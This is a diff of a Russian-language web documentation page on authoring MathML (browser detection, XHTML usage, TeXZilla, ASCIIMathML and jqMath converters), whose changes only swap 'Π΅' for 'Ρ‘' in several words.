-<p>Π’ качСствС Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Ρ‹, ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ Π°Π½Π°Π»ΠΈΠ· строки UA ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ Π΄Π²ΠΈΠΆΠΎΠΊ Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π° с Ρ€ΠΎΠ΄Π½ΠΎΠΉ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΎΠΉ MathML (Gecko ΠΈ WebKit). ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ Π°Π½Π°Π»ΠΈΠ· строки UA являСтся Π½Π΅ самым Π½Π°Π΄Π΅ΠΆΠ½Ρ‹ΠΌ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠ±ΠΎΠΈΡ‚ΡŒ ΠΎΡ‚ вСрсии ΠΊ вСрсии:</p>
+<p>Π’ качСствС Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Ρ‹, ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ Π°Π½Π°Π»ΠΈΠ· строки UA ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ Π΄Π²ΠΈΠΆΠΎΠΊ Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π° с Ρ€ΠΎΠ΄Π½ΠΎΠΉ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΎΠΉ MathML (Gecko ΠΈ WebKit). ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ Π°Π½Π°Π»ΠΈΠ· строки UA являСтся Π½Π΅ самым Π½Π°Π΄Ρ‘ΠΆΠ½Ρ‹ΠΌ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠ±ΠΎΠΈΡ‚ΡŒ ΠΎΡ‚ вСрсии ΠΊ вСрсии:</p>
<pre class="brush: js">var ua = navigator.userAgent;
var isGecko = ua.indexOf("Gecko") &gt; -1 &amp;&amp; ua.indexOf("KHTML") === -1 &amp;&amp; ua.indexOf('Trident') === -1;
@@ -95,7 +95,7 @@ m|math {
<h4 id="MathML_Π²_Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ…_XML_(XHTML_EPUB_ΠΈ_Ρ‚.Π΄.)">MathML Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ… XML (XHTML, EPUB, ΠΈ Ρ‚.Π΄.)</h4>
-<p>Если ΠΏΠΎ ΠΊΠ°ΠΊΠΎΠΉ-Ρ‚ΠΎ ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π΅ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ MathML Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ… XML, ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ выполняйтС ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹Π΅ трСбования: Ρ…ΠΎΡ€ΠΎΡˆΠΎ сформированный Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚, использованиС ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠ³ΠΎ MIME-Ρ‚ΠΈΠΏΠ°, пространство ΠΈΠΌΠ΅Π½ MathML <code>"http://www.w3.org/1998/Math/MathML"</code> с ΠΊΠΎΡ€Π½Π΅Π²Ρ‹ΠΌ элСмСнтом <code>&lt;math&gt;</code>. НапримСр, вСрсия XHTML ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅Π³ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° выглядит Ρ‚Π°ΠΊ:<br>
+<p>Если ΠΏΠΎ ΠΊΠ°ΠΊΠΎΠΉ-Ρ‚ΠΎ ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π΅ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ MathML Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ… XML, ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ выполняйтС ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹Π΅ трСбования: Ρ…ΠΎΡ€ΠΎΡˆΠΎ сформированный Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚, использованиС ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠ³ΠΎ MIME-Ρ‚ΠΈΠΏΠ°, пространство ΠΈΠΌΡ‘Π½ MathML <code>"http://www.w3.org/1998/Math/MathML"</code> с ΠΊΠΎΡ€Π½Π΅Π²Ρ‹ΠΌ элСмСнтом <code>&lt;math&gt;</code>. НапримСр, вСрсия XHTML ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅Π³ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° выглядит Ρ‚Π°ΠΊ:<br>
Β </p>
<pre class="brush: xml">&lt;?xml version="1.0" encoding="UTF-8"?&gt;
@@ -136,7 +136,7 @@ m|math {
<ul>
<li>Для написания матСматичСских Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΎΠ²Π°Ρ‚ΡŒΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ стандартный тСкстовый Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€.</li>
<li>Доступны ΠΌΠ½ΠΎΠ³ΠΈΠ΅ инструмСнты, Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… совмСстимы с классичСским Ρ€Π°Π±ΠΎΡ‡ΠΈΠΌ процСссом LaTeX-to-pdf.</li>
- <li>Π­Ρ‚ΠΎ Π΄Π°Π΅Ρ‚ доступ ΠΊ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½Π½Ρ‹ΠΌ возмоТностям макросов, ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹Ρ… макросам LaTeX.</li>
+ <li>Π­Ρ‚ΠΎ Π΄Π°Ρ‘Ρ‚ доступ ΠΊ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½Π½Ρ‹ΠΌ возмоТностям макросов, ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹Ρ… макросам LaTeX.</li>
</ul>
</li>
<li>минусы:
@@ -161,7 +161,7 @@ m|math {
</li>
<li>минусы:
<ul>
- <li>Π­Ρ‚ΠΎ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ, Ссли Ρƒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½ Javascript.</li>
+ <li>Π­Ρ‚ΠΎ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ, Ссли Ρƒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Ρ‘Π½ Javascript.</li>
<li>Код MathML Π½Π΅ поддСрТиваСтся Web-сканСрами (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, срСдствами матСматичСского поиска ΠΈΠ»ΠΈ новостными Π°Π³Ρ€Π΅Π³Π°Ρ‚ΠΎΡ€Π°ΠΌΠΈ). Π’ частности, ваш ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ Π½Π° Planet.</li>
<li>ΠšΠΎΠ½Π²Π΅Ρ€Ρ‚Π°Ρ†ΠΈΡ Π΄ΠΎΠ»ΠΆΠ½Π° Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒΡΡ ΠΏΡ€ΠΈ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ΅ страницы, ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎΠΉ ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΊΠΎΠ½Ρ„Π»ΠΈΠΊΡ‚ΠΎΠ²Π°Ρ‚ΡŒ с парсингом HTML (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, "&lt;" для Ρ‚Π΅Π³ΠΎΠ² ΠΈΠ»ΠΈ "$" для Π΄Π΅Π½Π΅ΠΆΠ½Ρ‹Ρ… сумм)</li>
<li>Π’ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ Π²Π°ΠΌ понадобится ΡΠΈΠ½Ρ…Ρ€ΠΎΠ½ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Javascript-ΠΊΠΎΠ½Π²Π΅Ρ€Ρ‚Π΅Ρ€ с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ°ΠΌΠΈ Javascript Π½Π° вашСй страницС.</li>
@@ -173,7 +173,7 @@ m|math {
<pre><span class="brush: html">&lt;<span class="start-tag">x-tex</span>&gt;</span><span>\frac{x^2}{a^2} + \frac{y^2}{b^2} = 1</span><span class="brush: html">&lt;/<span class="end-tag">x-tex</span>&gt;</span></pre>
-<p>ΠΈ автоматичСски прСобразуСтся Π² MathML. Π­Ρ‚ΠΎ всС Π΅Ρ‰Π΅ Π² процСссС Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½ΠΎ Π² Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ благодаря Web-ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Π°ΠΌ ΠΈ DOM. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ Ρ‚Ρ€Π°Π΄ΠΈΡ†ΠΈΠΎΠ½Π½Ρ‹ΠΉ <a href="https://github.com/fred-wang/TeXZilla/wiki/Advanced-Usages#parsing-tex-expressions-in-your-web-page">Javascript парсинг Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ Π² процСссС Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ</a> ΠΊΠ°ΠΊ это ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ ΠΈ всС Π΄Ρ€ΡƒΠ³ΠΈΠ΅ инструмСнты, описанныС Π² этом Ρ€Π°Π·Π΄Π΅Π»Π΅.</p>
+<p>ΠΈ автоматичСски прСобразуСтся Π² MathML. Π­Ρ‚ΠΎ всС Π΅Ρ‰Ρ‘ Π² процСссС Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½ΠΎ Π² Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ благодаря Web-ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Π°ΠΌ ΠΈ DOM. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ Ρ‚Ρ€Π°Π΄ΠΈΡ†ΠΈΠΎΠ½Π½Ρ‹ΠΉ <a href="https://github.com/fred-wang/TeXZilla/wiki/Advanced-Usages#parsing-tex-expressions-in-your-web-page">Javascript парсинг Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ Π² процСссС Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ</a> ΠΊΠ°ΠΊ это ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ ΠΈ всС Π΄Ρ€ΡƒΠ³ΠΈΠ΅ инструмСнты, описанныС Π² этом Ρ€Π°Π·Π΄Π΅Π»Π΅.</p>
<p>Одним ΠΈΠ· простых инструмСнтов ΠΊΠΎΠ½Π²Π΅Ρ€Ρ‚Π°Ρ†ΠΈΠΈ Π½Π° сторонС ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π° являСтся <a href="http://www1.chapman.edu/~jipsen/mathml/asciimath.html" title="http://www1.chapman.edu/~jipsen/mathml/asciimath.html">ASCIIMathML</a>. ΠŸΡ€ΠΎΡΡ‚ΠΎ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚Π΅ скрипт <a href="http://mathcs.chapman.edu/~jipsen/mathml/ASCIIMathML.js" title="http://mathcs.chapman.edu/~jipsen/mathml/ASCIIMathML.js">ASCIIMathML.js</a> ΠΈ скопируйтС Π΅Π³ΠΎ Π½Π° ваш Web-сайт. Π—Π°Ρ‚Π΅ΠΌ Π½Π° Π²Π°ΡˆΠΈΡ… Π²Π΅Π±-страницах Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ Ρ‚Π΅Π³ <code>&lt;script&gt;</code> для Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ ASCIIMathML ΠΈ матСматичСскиС выраТСния, Π²Ρ‹Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ символом <code>`</code> (Π·Π½Π°ΠΊ Π°ΠΊΡ†Π΅Π½Ρ‚Π°) Π±ΡƒΠ΄ΡƒΡ‚ автоматичСски ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Π½Ρ‹ ΠΈ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½Ρ‹ Π² MathML:</p>
@@ -221,11 +221,11 @@ This is a sample LaTeXML document.
&lt;/div&gt;
...</pre>
-<p><a href="http://mathscribe.com/author/jqmath.html" title="http://mathscribe.com/author/jqmath.html">jqMath</a> - это Π΅Ρ‰Π΅ ΠΎΠ΄ΠΈΠ½ скрипт для парсинга простого LaTeX-ΠΏΠΎΠ΄ΠΎΠ±Π½ΠΎΠ³ΠΎ синтаксиса, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ Π½Π΅-ASCII символы, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊΒ  <code>√{βˆ‘β†™{n=1}β†–{+∞} 6/n^2} = Ο€</code>Β , Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ <math> <mrow> <msqrt> <mrow class="ma-repel-adj"> <munderover> <mo>βˆ‘</mo> <mrow> <mi>n</mi> <mo>=</mo> <mn>1</mn> </mrow> <mrow> <mo>+</mo> <mi>∞</mi> </mrow> </munderover> <mfrac> <mn>6</mn> <msup> <mi>n</mi> <mn>2</mn> </msup> </mfrac> </mrow> </msqrt> <mo>=</mo> <mi>Ο€</mi> </mrow> </math>. Установка ΠΏΠΎΡ…ΠΎΠΆΠ°: Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚Π΅ ΠΈ скопируйтС ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ Ρ„Π°ΠΉΠ»Ρ‹ <a href="http://mathscribe.com/downloads/mathscribe-unix-0.4.0.zip" title="http://mathscribe.com/downloads/mathscribe-unix-0.4.0.zip">Javascript ΠΈ CSS files</a> Π½Π° ваш Web сайт ΠΈ сдСлайтС ссылку Π½Π° Π½ΠΈΡ… Π² Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ΅ вашСй страницы (смотритС Ρ„Π°ΠΉΠ» <code>COPY-ME.html</code> ΠΈΠ· Π°Ρ€Ρ…ΠΈΠ²Π° zip Π² качСствС ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°). Одним ΠΈΠ· прСимущСств jqMath Π½Π°Π΄ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΠΌΠΈ сцСнариями являСтся Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ автоматичСски Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ простыС ΠΏΡ€Π°Π²ΠΈΠ»Π° CSS для матСматичСской Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ ΠΈ сдСлаСт Ρ„ΠΎΡ€ΠΌΡƒΠ»Ρ‹ доступными для Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² с ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½ΠΎΠΉ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΎΠΉ MathML.</p>
+<p><a href="http://mathscribe.com/author/jqmath.html" title="http://mathscribe.com/author/jqmath.html">jqMath</a> - это Π΅Ρ‰Ρ‘ ΠΎΠ΄ΠΈΠ½ скрипт для парсинга простого LaTeX-ΠΏΠΎΠ΄ΠΎΠ±Π½ΠΎΠ³ΠΎ синтаксиса, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ Π½Π΅-ASCII символы, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊΒ  <code>√{βˆ‘β†™{n=1}β†–{+∞} 6/n^2} = Ο€</code>Β , Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ <math> <mrow> <msqrt> <mrow class="ma-repel-adj"> <munderover> <mo>βˆ‘</mo> <mrow> <mi>n</mi> <mo>=</mo> <mn>1</mn> </mrow> <mrow> <mo>+</mo> <mi>∞</mi> </mrow> </munderover> <mfrac> <mn>6</mn> <msup> <mi>n</mi> <mn>2</mn> </msup> </mfrac> </mrow> </msqrt> <mo>=</mo> <mi>Ο€</mi> </mrow> </math>. Установка ΠΏΠΎΡ…ΠΎΠΆΠ°: Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚Π΅ ΠΈ скопируйтС ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ Ρ„Π°ΠΉΠ»Ρ‹ <a href="http://mathscribe.com/downloads/mathscribe-unix-0.4.0.zip" title="http://mathscribe.com/downloads/mathscribe-unix-0.4.0.zip">Javascript ΠΈ CSS files</a> Π½Π° ваш Web сайт ΠΈ сдСлайтС ссылку Π½Π° Π½ΠΈΡ… Π² Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ΅ вашСй страницы (смотритС Ρ„Π°ΠΉΠ» <code>COPY-ME.html</code> ΠΈΠ· Π°Ρ€Ρ…ΠΈΠ²Π° zip Π² качСствС ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°). Одним ΠΈΠ· прСимущСств jqMath Π½Π°Π΄ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΠΌΠΈ сцСнариями являСтся Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ автоматичСски Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ простыС ΠΏΡ€Π°Π²ΠΈΠ»Π° CSS для матСматичСской Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ ΠΈ сдСлаСт Ρ„ΠΎΡ€ΠΌΡƒΠ»Ρ‹ доступными для Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² с ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½ΠΎΠΉ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΎΠΉ MathML.</p>
<h3 id="ΠŸΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹_ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ_строки">ΠŸΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ строки</h3>
-<p>ΠΠ»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π½Ρ‹ΠΉ способ - ΠΏΠ°Ρ€ΡΠΈΡ‚ΡŒ простой синтаксис ΠΏΠ΅Ρ€Π΅Π΄ ΠΏΡƒΠ±Π»ΠΈΠΊΠ°Ρ†ΠΈΠ΅ΠΉ Π²Π°ΡˆΠΈΡ… Web-страниц. Π’ этом случаС Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ строки для создания ΠΈ ΠΏΡƒΠ±Π»ΠΈΠΊΠ°Ρ†ΠΈΠΈ этих статичСских страниц Π½Π° своСм сСрвСрС.</p>
+<p>ΠΠ»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π½Ρ‹ΠΉ способ - ΠΏΠ°Ρ€ΡΠΈΡ‚ΡŒ простой синтаксис ΠΏΠ΅Ρ€Π΅Π΄ ΠΏΡƒΠ±Π»ΠΈΠΊΠ°Ρ†ΠΈΠ΅ΠΉ Π²Π°ΡˆΠΈΡ… Web-страниц. Π’ этом случаС Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ строки для создания ΠΈ ΠΏΡƒΠ±Π»ΠΈΠΊΠ°Ρ†ΠΈΠΈ этих статичСских страниц Π½Π° своём сСрвСрС.</p>
<ul>
<li>ΠΏΠ»ΡŽΡΡ‹:
@@ -238,13 +238,13 @@ This is a sample LaTeXML document.
<li>минусы:
<ul>
<li>Π­Ρ‚ΠΎ Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ установки ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌ Π½Π° вашСм ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅, Ρ‡Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ слоТнСС ΠΈΠ»ΠΈ ΠΎΠ½ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ доступны Π½Π΅ для всСх ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌ.</li>
- <li>Π’Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ Π½Π° своСм ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅ ΠΈ ΠΈΠΌΠ΅Ρ‚ΡŒ ΠΊΠ°ΠΊΠΎΠΉ-Ρ‚ΠΎ Ρ€Π°Π±ΠΎΡ‡ΠΈΠΉ процСсс для получСния Π²Π΅Π±-страниц Π² ΠΊΠΎΠ½Ρ†Π΅; это ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΡƒΡ‚ΠΎΠΌΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ.</li>
+ <li>Π’Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ Π½Π° своём ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅ ΠΈ ΠΈΠΌΠ΅Ρ‚ΡŒ ΠΊΠ°ΠΊΠΎΠΉ-Ρ‚ΠΎ Ρ€Π°Π±ΠΎΡ‡ΠΈΠΉ процСсс для получСния Π²Π΅Π±-страниц Π² ΠΊΠΎΠ½Ρ†Π΅; это ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΡƒΡ‚ΠΎΠΌΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ.</li>
<li>Π”Π²ΠΎΠΈΡ‡Π½Ρ‹Π΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ Π½Π΅ подходят для ΠΈΡ… ΠΈΠ½Ρ‚Π΅Π³Ρ€Π°Ρ†ΠΈΠΈ Π² Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ Mozilla ΠΈΠ»ΠΈ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ XUL.</li>
</ul>
</li>
</ul>
-<p><a href="https://github.com/fred-wang/TeXZilla">TeXZilla</a> ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ <a href="https://github.com/fred-wang/TeXZilla/wiki/Using-TeXZilla#usage-from-the-command-line">ΠΈΠ· ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ строки</a> ΠΈ Π±ΡƒΠ΄Π΅Ρ‚, ΠΏΠΎ сущСству, ΠΈΠΌΠ΅Ρ‚ΡŒ Ρ‚Ρƒ ΠΆΠ΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒ, Ρ‡Ρ‚ΠΎ ΠΈ itex2MML, описанный Π½ΠΈΠΆΠ΅. Однако ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ Ρ„ΠΈΠ»ΡŒΡ‚Ρ€Π° ΠΏΠΎΡ‚ΠΎΠΊΠ° Π΅Ρ‰Π΅ Π½Π΅ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½ΠΎ.</p>
+<p><a href="https://github.com/fred-wang/TeXZilla">TeXZilla</a> ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ <a href="https://github.com/fred-wang/TeXZilla/wiki/Using-TeXZilla#usage-from-the-command-line">ΠΈΠ· ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ строки</a> ΠΈ Π±ΡƒΠ΄Π΅Ρ‚, ΠΏΠΎ сущСству, ΠΈΠΌΠ΅Ρ‚ΡŒ Ρ‚Ρƒ ΠΆΠ΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒ, Ρ‡Ρ‚ΠΎ ΠΈ itex2MML, описанный Π½ΠΈΠΆΠ΅. Однако ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ Ρ„ΠΈΠ»ΡŒΡ‚Ρ€Π° ΠΏΠΎΡ‚ΠΎΠΊΠ° Π΅Ρ‰Ρ‘ Π½Π΅ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½ΠΎ.</p>
